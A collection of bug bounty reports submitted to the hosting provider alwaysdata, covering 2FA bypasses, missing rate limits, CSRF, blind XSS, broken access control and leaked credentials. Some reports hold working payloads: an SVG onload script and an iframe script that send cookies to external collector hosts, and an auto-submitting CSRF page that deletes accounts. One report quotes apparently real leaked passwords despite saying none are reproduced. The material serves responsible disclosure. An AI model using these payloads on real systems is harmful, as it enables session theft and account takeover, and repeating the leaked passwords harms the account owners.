Security vulnerabilities

Vulnerability Name: No Rate Limit in adding Sites

Impact:
- This may consume a large amount of bandwidth and, sometimes, require large amounts of storage space.

How to reproduce this issue:

1. Use Burp Suite and capture the Sites request.

2. Send the captured request to Intruder and select name position as shown in POC.

3. Set payloads to numbers and numbers will be from 1 to 40 (depending on your usage).

4. Observe that the status code is 302 means we can add an unlimited Sites.

Recommendation:
1. There should be some rate limit for Add Sites (Example: should not exceed more than 10 Sites)

2. Implement Captcha, the captcha should not be based on IP.

POC:
- Video file in below link.
- Link: https://www.mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file https://mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

Summary:

After enabling 2FA, during login the system asks for email, password, and then a valid 2FA code. When a valid 2FA code request is captured and sent through Burp Repeater, sending multiple parallel copies of the same request returns multiple valid 2FA responses for a single correct code. These valid responses can then be replayed at any time to bypass the 2FA challenge completely. As a result, an attacker can repeatedly access the account without entering any new 2FA code, fully bypassing the authentication layer.

Steps to Reproduce:

Enable 2FA on your account.

Log out and attempt to log in again.

Enter a valid email and password.

When the system asks for the 2FA code, enter a valid code and capture this request in Burp Suite.

Send the 2FA request to Burp Repeater and create multiple parallel copies.

Send all parallel requests simultaneously — observe that the server returns multiple valid 2FA success responses for one single valid code.

Now try logging in again: enter any invalid 2FA code.

Capture the invalid response and replace it with one of the previously captured valid parallel responses.

Forward the modified response — you will gain full account access without needing a new 2FA code.

This method works repeatedly.

Impact :

This vulnerability breaks the entire 2FA security model. By replaying the multiple valid responses generated from a single 2FA code, an attacker can repeatedly log in without providing any fresh 2FA code. This completely bypasses multi-factor authentication, rate limiting, and OTP expiration logic, allowing persistent unauthorized access to any protected account.

Note: Please don't disclose this report

#2FA is not Initiating on User Account

Hello Team, I hope you are doing well. While Researching in your domain I found 2Fa is not Initiating on User Account in your domain.

Steps to Reproduce:

1: Create a account in admin.alwaysdata.com.
2. Initiate 2fa on your account.
3. Go to Permission Section Add a Email in email Section and Check the 2fa Required box and make some Global Permission you want to proceed and then submit.

4. User receive Profile Initialization in your email, User can fill the form and then submit the form, he/she directly login on o your account without any 2fa Initialization in which administrator can check the 2fa required box.

Impact:

Administrator can imagine he/she initiate 2fa requirement on user account but 2fa is enabled on user account. User can easily access their account and admin permission without 2fa prompting.

Thank You,

Waleed Anwar

#Account creation with invalid email addresses / email is accepting % and %0d%0a line termination chars

Hello Team, I hope you are doing well. While, Researching in your domain. I found Account creation with invalid email addresses / email is accepting % and %0d%0a line termination chars in your domain in admin.alwaysdata.com.

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

#Steps to Reproduce:

1.SignUp in admin.alwaysdata.com
2.Use email address adding with character like % or %0d%0a, account will be created and you will get account validation message.

3.Even if you try now to login using same above email and password then you will get same message for account validation and need to verify email.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address.

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used.

Thank You,

Waleed Anwar

Vulnerability Summary:- A critical security flaw has been identified in the AlwaysData Admin Panel that allows any logged-in user to permanently delete their account without any form of re-authentication, identity verification, or confirmation mechanisms.

This behavior violates standard security best practices and creates a serious risk of: Accidental account loss Malicious account destruction Irreversible data loss Abuse by attackers if session hijacking occurs

Steps to Reproduce:- Step 1 – Create an Account Visit the AlwaysData admin panel and create a new account: https://admin.alwaysdata.com/

Step 2 – Log In Log into your account using the created credentials.

Step 3 – Access Profile Page Navigate to the profile section: https://admin.alwaysdata.com/user/

Step 4 – Locate Delete Option On the top area of the profile page, you will see an option labeled: “Delete this profile”

Step 5 – Click Delete Click on Delete this profile, then proceed to the next step.

Step 6 – Account Gets Deleted Boom! Your account is immediately deleted without: Password re-entry Email verification OTP confirmation Security warnings Multi-step confirmation

Security Impact Permanent Data Loss –> Account and all associated data are erased instantly Session Hijacking Abuse –> Any attacker with temporary session access can wipe accounts No Recovery –> Deleted accounts cannot be restored Compliance Violation –> Fails to meet basic security & privacy standards

Why This Is Dangerous This allows single-click irreversible account deletion, which is extremely dangerous in modern web applications. Industry standards require: Password confirmation Multi-factor authentication Email verification links Grace periods before deletion None of these protections are present.

Recommended Fix AlwaysData should immediately implement: Mandatory password re-authentication Email/OTP verification Two-step deletion confirmation 24–72 hour grace period before permanent deletion

While performing reconnaissance on your platform, I discovered an endpoint (or publicly accessible resource) that exposes sensitive customer data. This data includes personal information that should not be publicly accessible and poses a serious risk to user privacy and your organization's data security posture.

https://admin.alwaysdata.com/support/87906/ this link contains the bug report

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

#Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Hello Sir, I hope you are doing well. While, Researching on your domain, I found Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/register/ for Signup.
2. Input Meow.bow+evil@domain.com.Burp Collab and then input password and click on submit to register your account.
3. Verify this account and after login and then logout from the account.
4. Register another account in https://www.alwaysdata.com/en/register/.
5. Input Meow.bow+evil1@domain.com.Burp Collab and then input password and click on submit to register your 2nd account.

6.After that verify your 2nd account in admin.alwaysdata.com.
7.Registering two account in admin.alwaysdata.com and then go to https://admin.alwaysdata.com/password/lost/ to forget their account.

8. Input first and second account email to forget their password but you can see that when you click on reset button it should say that email doesn't have account register.

Impact:

When victim register their account with email Meow.bow+evil@domain.com.Burp Collab and attacker know victim email then he/she can use abuse email Meow.bow+evil1@domain.com.Burp Collab to register the account, If victim forget their password and victim want to forget their password with https://admin.alwaysdata.com/password/lost/, victim lost their account can can't forget their account.

#Note:

Try to remove symbols in email to prevent from this.

Thank You,

Waleed Anwar

Summary:

During testing, I discovered that the 2FA (Two-Factor Authentication) feature can be abused to block legitimate users from registering on the platform. This vulnerability arises because the application allows users to update their email addresses without disabling 2FA. When users update their email while 2FA is enabled, the application requires the 2FA code to log in with the new email. An attacker can exploit this flaw by registering an account using his email, enabling 2FA, and then updating the account's email to the victim's. This process effectively locks the victim out of their email address and prevents them from registering to the platform.

Steps to Reproduce:

1. create account at : https://admin.alwaysdata.com/admin/details/

1. The attacker creates an account using their email address.

1. the attacker logs in and enables 2FA.

1. The attacker then updates their email address to the victim's.

1. If the victim tries to register an account using their email address, they receive an error stating that the email already exists.

1. If the victim attempts to reset the password using the "Forgot Password" feature:

1. The victim receives the password reset link and successfully updates their password.

1. Upon attempting to log in, the application prompts for the 2FA code.

1. Since the victim cannot access the 2FA code the attacker sets, they cannot log in.

PoC :

https://drive.google.com/file/d/1iKnoKLZXCREeIidrOzvH2SXDNDLPqsLH/view?usp=sharing

Impact

This behavior effectively locks the victim out of their email address, preventing them from registering or accessing an account on the platform.

Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.

Steps:

1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field.
3.Then Click on Post Comment to post your comment in website.

You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.

Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.

#Note:

It can also vulnerable for clickjacking.

Thank You,

Waleed Anwar

Blind SSRF

attachment: https://admin.alwaysdata.com/support/87908/

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

Dear Alwaysdata IT Team,

My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:

https://www.alwaysdata.com/en/contact/

The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.

Vulnerability Summary

• Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
• Affected Endpoint: /en/contact/ (POST method, JSON input)
• Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
• Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
• Severity: Medium to High (depending on victim interaction)

CVSS (v3.1) Score Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) None (N)
Base Score: 7.4 (High)
Severity Rating: High

Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:

{
  "form-mail-email": "attacker@gmail.com",
  "form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
  "form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}

This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.

Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.

Server Response

HTTP/2 200 OK
Content-Length: 2
ok

confirming that the malicious input was successfully stored.

Potential Impact

• Unauthorized disclosure of session cookies and sensitive data.
• Potential account takeover, privilege escalation, and unauthorized access.
• Difficult to detect due to blind nature (the attacker does not see immediate effects).

Recommendations for Mitigation

• Input Validation and Sanitization:

Filter and sanitize all inputs to reject or escape HTML and script content.

• Output Encoding:

Properly encode data before rendering it in the UI to prevent script execution.

• Content Security Policy (CSP):

Implement CSP headers to restrict sources of executable scripts.

• Security Testing:

Engage in regular security audits and include XSS-focused penetration testing.

Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.

Thank you for your attention and commitment to security.

Best regards,
Raden Adhiyaksa Indiharto
Security Researcher

Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:

1. Broken Access Control via browser back-navigation (Alt+←), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.

—

### 🧪 Steps to Reproduce

#### 🐞 Part 1: Broken Access Control via Browser Back Navigation

1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:

 Example:  
 `https://admin.alwaysdata.com/admin/details/384337/deletee/`

3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. ⚠️ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).

Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.

—

#### 🐞 Part 2: CSRF - Account Deletion via GET Request

The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.

##### 🔓 CSRF Exploit HTML

```html

  <body onload="document.forms[0].submit()">
    <form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
      <input type="hidden" name="reason" value="Testing CSRF exploit" />
    </form>
  </body>

```

#### Steps:

1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:

 ```
 https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
 ```

4. If he /she click the delete button it will be deleted.

—

### 💥 Combined Impact

By chaining these two issues, an attacker could:

- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.

—

### 🔐 Recommended Fixes

1. Fix Broken Access Control:

1. Invalidate cached pages using proper cache-control headers:

```http

   Cache-Control: no-store, no-cache, must-revalidate
   Pragma: no-cache
   ```
 - Implement server-side checks to reject requests after session termination.

2. Fix CSRF in Sensitive Actions:

1. Use POST requests for state-changing actions (like deletion).
2. Implement CSRF tokens and validate them on every form submission.

—

POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing

Description

A vulnerability exists on the https://admin.alwaysdata.com/ permissions_delete endpoint which is intended for deleting sub-accounts' generated data or permissions. However due to unsecure design, it can also be used to remove critical permissions or access controls of the owner account, rendering the account useless.

Proof-of-Concept

1. Visit this URL: https://admin.alwaysdata.com/permissions/<owner-id>/delete/ (Replace owner-id with the the id of main account, that is, the one with 'impossible deletion')

2. This renders the account useless. But permissions can still be reinstated using the following request

POST /permissions/<account-id>/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=nHI6Qy3zJu9uxxxqNvXRuZlTuvgLJwbBI5jg4XRa; django_language=en; sessionid=tdcg6j9im2g31ga9tk7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/permissions/
Content-Type: application/x-www-form-urlencoded
Content-Length: 314
Origin: https://admin.alwaysdata.com


csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxx2zGI69d7GFBI5AKORMPsTJlk1SfgDJZ5t&csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxxxxxx7GFBI5AKORMPsTJlk1SfgDJZ5t&email=<EMAIL>&customer_account=on&customer_contact_billing=on&customer_full_accounts=on&customer_full_servers=on&account=<USERID>

Mitigation

Ensure that only authorized admin can access and modify owner permissions through the delete endpoint. This can be achieved by implementing authentication and authorization mechanisms.

Bug Bounty Report

Title: MTA-STS Record Not Found for Domain

Severity: High

Summary: The domain alwaysdata.com does not have an MTA-STS (Mail Transfer Agent Strict Transport Security) record configured. MTA-STS is a critical security mechanism that enforces secure connections between mail servers, preventing Man-in-the-Middle (MitM) attacks and enhancing email security. The absence of this record leaves the domain vulnerable to potential interception and tampering of email communications, posing a significant risk to the confidentiality and integrity of sensitive information.

Description: Upon conducting a security assessment, it was observed that the domain alwaysdata.com lacks an MTA-STS record in its DNS configuration. MTA-STS is a crucial security protocol that ensures secure communication channels between mail servers, thereby mitigating the risk of interception and tampering of email traffic.

In the absence of an MTA-STS record, malicious actors could exploit vulnerabilities in email transmission, potentially intercepting sensitive information exchanged between servers. This vulnerability exposes the domain to various security threats, including but not limited to Man-in-the-Middle attacks, eavesdropping, and unauthorized access to confidential data.

Steps to Reproduce:

Go to the MTA-STS TXT record checker tool https://easydmarc.com/tools/mta-sts-check?domain= Observe the absence of an MTA-STS TXT record.
Verify that the domain's DNS configuration does not include any MTA-STS policies.
Impact: The absence of an MTA-STS record for the domain alwaysdata.com has the following impacts:

Security Risk: Without MTA-STS, email communications are vulnerable to interception and tampering by malicious entities, compromising the confidentiality and integrity of sensitive information.
MitM Attacks: Attackers could exploit the lack of secure communication channels to intercept emails, leading to potential data breaches and unauthorized access to confidential data.
Compliance Concerns: Non-compliance with industry standards and best practices regarding email security, potentially leading to regulatory penalties and reputational damage.
Recommendations:

Implement MTA-STS: Configure an MTA-STS policy for the domain alwaysdata.com following the specifications outlined in RFC 8461 to enforce secure communication between mail servers.
Enable TLS Encryption: Ensure that TLS encryption is enabled and properly configured on mail servers to further enhance email security.
Regular Monitoring: Conduct regular audits and monitoring of DNS configurations to identify and address any security vulnerabilities promptly.
Educate Users: Raise awareness among domain administrators and users about the importance of email security practices, including the significance of implementing MTA-STS.
Proof of Concept (PoC): The absence of an MTA-STS record for the domain alwaysdata.com can be verified by performing a DNS lookup for the MTA-STS policy. The lack of an MTA-STS TXT record in the DNS configuration confirms the vulnerability.

Additional Notes: It is imperative to prioritize the implementation of MTA-STS for the domain alwaysdata.com to mitigate the identified security risk effectively. Failure to address this issue promptly could result in severe consequences, including data breaches and compliance violations.

Thank you ,

Sanjith Roshan U

Security Researcher

POC DRIVE LINK:https://drive.google.com/file/d/1mERA_7qmeQ8bRAYuUZFRsuYJqAmm3CgO/view?usp=sharing

Summary:
A potential security vulnerability has been identified in the user invitation token generation process when integrated with a third-party service. This vulnerability could lead to the leakage of user invitation tokens, potentially exposing sensitive information and compromising the security of user accounts.

Details:
Vulnerability Type: Information Disclosure
Affected Component: User invitation token generation integrated with third-party service
Severity: High
Description:
During our security assessment, it was discovered that the user invitation token, which is generated as part of the user invitation process, is not adequately protected when interacting with a third-party service. This oversight allows unauthorized access to the token, leading to potential exposure of sensitive information.

Steps to Reproduce:
1.Login into the account.
2.Go to the invite user function and add the email which you want to invite.
3.A token is received to that email for joining the team.
4.Keep your proxy on and click on the invitation link.
5.Set the password and you have successfully joined the team.
6.Now go back to your burp suite and search for the invitation token which is received on the step3.
7.You will notice that the token got leaked into third parties also.

Impact:
If exploited, this vulnerability could allow an attacker to gain unauthorized access to user accounts, potentially leading to data theft, unauthorized access to sensitive information, and other malicious activities.

Recommendations for Mitigation:

Token Encryption: Implement encryption mechanisms to protect user invitation tokens during transmission to and from the third-party service.
Secure Transmission: Ensure that communication channels between your system and the third-party service are secure, using protocols such as HTTPS.
Token Expiry: Implement token expiration mechanisms to limit the window of opportunity for exploitation.
Audit Access Logs: Regularly audit access logs for any suspicious activities or unauthorized access.

Proof of Concept (PoC):
Include relevant information or details demonstrating the vulnerability, ensuring that no sensitive information is disclosed in the report.

I appreciate your prompt attention to this matter and look forward to working collaboratively to address and resolve this security vulnerability.

Thank you.

Aditya

Severity:
High

Summary:
OAuth account linking occurs automatically and implicitly on the company's web application, without requiring user verification, which can enable account takeover. Suppose an attacker signs up using OAuth with the same email as an existing account (registered via email/password). In that case, they are granted access to that existing account without any ownership validation, which is a critical authentication flaw.

Steps to Reproduce:
Create a target account (victim):

Go to alwaysdata.com

Register a new account using email/password, e.g., victim@example.com.

Log out.

Trigger the issue (attacker):

Go to the website

Log in using an OAuth provider (e.g., Google or Apple) that uses the same email address: victim@example.com.

Observe:

The OAuth login automatically links to the existing account created via email/password.

No verification (like password prompt, email confirmation, or user consent) is required.

The attacker now has full access to the victim's account.

Impact:
This vulnerability allows an attacker to fully compromise accounts by using an OAuth provider with an email address matching an existing account, without needing the victim’s password or any verification step.

Possible consequences:

Unauthorized access to personal data.

Tracking information leakage

Service misuse or device control.

Breach of privacy and user trust.

Recommended Fixes:
Do not auto-link OAuth accounts based solely on email.

Prompt the user for verification when an existing account with the same email exists (e.g., via:

Password input,

Email confirmation,

Explicit linking process in settings).

Provide clear UI/UX for account linking that ensures user intent.

Suggested CVSS (3.1) Score:
8.8 (High)

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Confidentiality Impact: High

Integrity Impact: High

Availability Impact: Low

Regards,
Mehedi Hasan

## Note: I was awarded $300 by reporting the same issue to some other companies and they accepted it and fixed it.

Summary:
It is possible to remain authenticated in the application even after deleting the identity account (email/SSO provider) used to log in, resulting in a user session that continues to function despite the underlying identity no longer being valid. This breaks the identity-assurance model and may allow long-term unauthorized access.

Steps To Reproduce:
01. Create an account in the alwaysdata.com application using any email/password registration.
02. Log in successfully and confirm access to protected features.
03. While the session remains active, open a new browser/tab and permanently delete the associated identity account (e.g., delete the Google account/email used to register).
04. Return to the application and refresh or continue using your session.
05. Observe that the application continues to function normally and the user retains complete access.

Impact:
01. Allows long-term access for a user whose identity has been destroyed, violating ownership-based trust assumptions.
02. Increases risk of orphaned sessions or unauthorized access

Recommendation:
01. Implement continuous/periodic checks to verify that the backing identity still exists.
02. Invalidate all user sessions upon account deletion response from the identity provider.
03. Force re-authentication if account verification fails.

Best Regards,
NH Limon

Title

Critical Exposure of alwaysdata.com User Credentials via Alien TxtBase (Plaintext Passwords, Emails & Phone Numbers)

URL

Multiple alwaysdata endpoints are present in the leak, including:

https://alwaysdata.com/

https://alwaysdata.com/fr/inscription

https://alwaysdata.com/fr/inscription/

https://alwaysdata.com/en/register

https://alwaysdata.com/en/register/

https://alwaysdata.com/en/signup/account/

https://alwaysdata.com/fr/signup/account/

https://alwaysdata.com/fr/signup/

https://alwaysdata.com/en/marketplace/bookstack/

Evidence spread across all uploaded LeakBase / Alien TxtBase HTML files.

Description

The uploaded Alien TxtBase datasets show large-scale exposure of alwaysdata.com account credentials, collected by infostealer malware that steals browser-saved logins.

Across all the files, there are hundreds of entries for alwaysdata.com, including:

Emails (Gmail, Hotmail, Yahoo, corporate domains, etc.)

Plaintext passwords

Nicknames / device usernames

Phone numbers in some entries

Direct registration and signup URLs on alwaysdata.com

Examples of leaked patterns (all values redacted here):

Email + password + registration link, e.g.:
Email: …@gmail.com / Password: Fahendrena / Link: alwaysdata.com/fr/inscription

5202727960

Password + nick + registration URL (no email), e.g.:
Password: Footballclub972 / Nick: nathanv / Link: alwaysdata.com

5202727960

Email + password + /en/register or /fr/signup/account URLs, e.g. multiple developer / project owner accounts

Entries including phone number and “App: alwaysdata.com” metadata

The data confirms that real alwaysdata.com user accounts, including hosting users, developers and small businesses, have their credentials exposed in plaintext in a public leak collection.

While the initial compromise is on user devices (infostealers), the effect is a direct, ongoing compromise of alwaysdata.com accounts, as the credentials are valid and can be reused by attackers at any time.

Impact

Severity: CRITICAL

1. Full Account Takeover (ATO)

Attackers can use any email/password pair from the logs to log into alwaysdata.com and:

Access hosting control panels for websites and apps

Modify or delete customer sites

Inject malicious content, phishing pages, or malware

Change account email, password, and billing details

Because passwords are in clear text, there is no need for cracking or guessing.

2. Website & Application Compromise

As alwaysdata is a hosting provider, compromised accounts may be:

Production sites for individuals, startups, and small businesses

Internal dashboards or admin panels

Hosted APIs or backends

This allows attackers to:

Deface or replace websites

Steal data from web applications

Use compromised infrastructure for further attacks (phishing, malware hosting, C2, etc.)

3. Reputational & Legal Risk

Leaked credentials include:

Emails

Passwords

In some cases, phone numbers

This exposes alwaysdata users to:

Identity theft

Targeted phishing

Credential reuse on other services

It may also create privacy and regulatory exposure for alwaysdata if not addressed (e.g., GDPR if EU users are affected).

4. Ongoing Automated Exploitation

Alien TxtBase:

Is widely shared through Telegram breach channels

Is integrated into OSINT and credential-stuffing tools

Is resold on dark-web marketplaces

This means alwaysdata.com accounts will be continuously targeted, not just once.

Evidence (Redacted)

Representative examples from the uploaded leak files (all real, but anonymized):

Email: <redacted>@gmail.com Password: Link: alwaysdata.com/en/register/

5202727960

Password: Nick: Powerbyte
Link: alwaysdata.com/fr/signup/account/

Email: <redacted>@hotmail.com Password: Link: alwaysdata.com/fr/inscription/

Email: <redacted>@gmail.com Telephone: <redacted>
App: alwaysdata.com

No raw passwords, emails or phone numbers are reproduced in this report.

Recommendation
Immediate

Force password reset for all alwaysdata.com accounts whose credentials appear in Alien TxtBase.

Invalidate active sessions and login cookies for those users.

Alert affected users and advise them to:

Clean their devices of infostealer malware

Change reused passwords on other platforms.

Short-Term

Implement breached-password protection:

Block login with passwords known to be exposed in public leaks (including Alien TxtBase).

Enforce or strongly encourage MFA for all alwaysdata accounts.

Add rate limiting and bot protection on login, signup and password reset endpoints.

Monitor for abnormal login patterns from known bad IP ranges or TOR exit nodes.

Long-Term

Move toward passwordless authentication (WebAuthn / security keys) for control-panel access.

Deploy continuous dark-web / Telegram breach monitoring for “alwaysdata.com” credentials.

Provide security guidance for customers (blog / documentation) on:

Risks of storing passwords in browsers

Infostealer malware

Using password managers and MFA.

Summary:
The application allows users to reuse their existing password when performing a password change or password reset. This undermines the security intent of these features, as users can bypass the enforcement of setting a new, stronger, and unique credential. Allowing password reuse increases the risk of account takeover, brute-force persistence, and failure to comply with security best practices (such as NIST SP 800-63B and OWASP ASVS), which explicitly recommend preventing the reuse of the same password.

Steps to Reproduce:

Log in to the alwaysdata.com application using valid credentials.

Navigate to the Change Password or Password Reset functionality.

Enter the current password in both the "Old Password" and "New Password" fields (or set the reset password to the same as the old one).

Observe that the operation succeeds, and the password remains unchanged.

Impact:

Defeats the purpose of password change/reset: attackers with leaked or compromised credentials can maintain persistence by resetting to the same password.

Increases susceptibility to brute force and credential stuffing, since the password remains weak or already compromised.

Violates industry-standard best practices for credential management (OWASP, NIST).

Reduces the effectiveness of incident response: if credentials are suspected to be exposed, forcing a reset but allowing reuse leaves accounts vulnerable.

Security Best Practices Reference:

NIST SP 800-63B: Recommends preventing password reuse and enforcing that new credentials differ from previously used ones.

OWASP ASVS 2.1.8: Applications should prevent the use of the same value as the current password when changing or resetting credentials.

Recommendation:

Implement a password history check to ensure that newly set passwords are different from the current one.

Enforce a configurable password history (e.g., last 3–5 passwords cannot be reused).

Provide appropriate user feedback when the entered password matches the old one.

Severity: High – This is a critical flaw because it undermines a fundamental security control designed to mitigate account compromise.